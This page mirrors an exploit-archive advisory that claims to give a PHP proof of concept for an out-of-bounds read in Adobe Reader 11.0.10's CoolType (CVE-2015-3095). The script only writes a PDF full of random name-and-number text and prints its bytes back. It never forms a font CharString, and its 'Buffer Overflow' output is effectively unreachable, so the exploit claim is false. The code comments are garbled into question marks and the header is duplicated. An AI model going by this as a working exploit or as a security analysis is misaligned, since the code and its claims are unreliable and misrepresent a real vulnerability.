Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

=============================================================================================================================================
| # Title : Adobe Reader =============================================================================================================================================
| # Title : Adobe Reader 11.0.10 CoolType Out-Of-Bounds Read vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) |
| # Vendor : https://get.adobe.com/reader/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: Scanning for Buffer Overflow Vulnerability Using CharString in PDF

This code aims to simulate the buffer overflow vulnerability in Adobe Reader by exploiting CharString instructions.

The code generates random data in a PDF file that contains invalid CharString instructions, then simulates reading from the file and analyzes the data that might lead to a buffer overflow.

(Related : https://packetstorm.news/files/id/189439/ Linked CVE numbers: CVE-2015-3095 ) .

[+] save code as poc.php.

[+] Usage = php poc.php

[+] PayLoad :

<?php
// ???? ?????? ?????? ?? ??? ?????? ????????? (????????)
function readCharStringData($filePath) {
// ?????? ?? ???? ????? ?????
if (!file_exists($filePath)) {
echo "????? ?? ????: $filePath\n";
return;
}

$file = fopen($filePath, 'rb');

if (!$file) {
die("??? ?? ??? ?????.\n");
}

// ????? ???????? (?????? ??????)
$data = fread($file, 8192); // ?? ?????? 8192 ???? ?????? ??? ?????? ??????

// ???? ??? ???? ??????? ?? ????
if ($data === false || strlen($data) == 0) {
echo "??? ?? ????? ????????.\n";
fclose($file);
return;
}

// ????? ????? ?????? ??? ????? (?????? ????? ???????)
$position = 0;

// ???????? ??? ???????? ????? ????
echo "Read data from file:\n";
while ($position < strlen($data)) {
// ???? ??? ???? ???????? ????? ?? ???????
if (isset($data[$position])) {
// ????? ???? ????
$byte = ord($data[$position]);

echo "read byte: " . dechex($byte) . " From the position: " . $position . "\n";
} else {
// ??? ?? ?????? ??? ???? ??? ????
echo "End of data exceeded at position: " . $position . "\n";
echo " (Buffer Overflow)!\n";
break;
}

// ???????? ??? ?????? ??????
$position++;
}

fclose($file);
}

// ???? ?????? ?????? CharString ???????
function generateRandomCharString($numEntries) {
$randomCharString = "";
$names = ["Alice", "Bob", "Charlie", "David", "Eve", "Frank", "Grace", "Heidi", "Ivan", "Judy"];
$objects = ["Laptop", "Phone", "Tablet", "Watch", "Headphones", "Keyboard", "Mouse", "Monitor", "Charger", "Speaker"];
$values = ["123", "456", "789", "1000", "9999", "5678", "10001", "7777", "303", "5050"];

// ????? ??? ?????? ?? ????????
for ($i = 0; $i < $numEntries; $i++) {
$name = $names[array_rand($names)];
$object = $objects[array_rand($objects)];
$value = $values[array_rand($values)];

$randomCharString .= "08 " . dechex(rand(1, 255)) . " " . dechex(rand(1, 255)) . " " . $name . " " . $object . " " . $value . " ";
}
return $randomCharString;
}

// ????? ??? PDF ?? ?????? CharString ??? ????? ?????? ?????
function createTestPdf($filePath) {
// ????? ?????? ?????? ?? CharString
$pdfContent = "%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj
2 0 obj
<< /Type /Pages /Kids [ 3 0 R ] /Count 1 >>
endobj
3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [ 0 0 612 792 ] /Contents 4 0 R >>
endobj
4 0 obj
<< /Length 10240 >>
stream
";

// ????? ?????? ??????? ?? CharString
$contentData = generateRandomCharString(1000); // ????? 1000 ????? ?????? ?CharString

$pdfContent .= $contentData . "
endstream
endobj
xref
0 5
0000000000 65535 f
0000000010 00000 n
0000000100 00000 n
0000000200 00000 n
0000000300 00000 n
trailer
<< /Root 1 0 R /Size 5 >>
startxref
400
%%EOF";

// ??? ????? ??? ???? ?????????
file_put_contents($filePath, $pdfContent);
echo "?? ????? ??? PDF ?? ??????? CharString ??? ?????. ???? ??? ????? ?? Adobe Reader.\n";
}

// ???? ??? ???????? ???? ????? ??? ?????? CharString
$filePath = "indoushka.pdf";

// ????? ????? ??????? ??????
createTestPdf($filePath);

// ??????? ?????? ?????? ?????? ?????
readCharStringData($filePath);
?>




Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share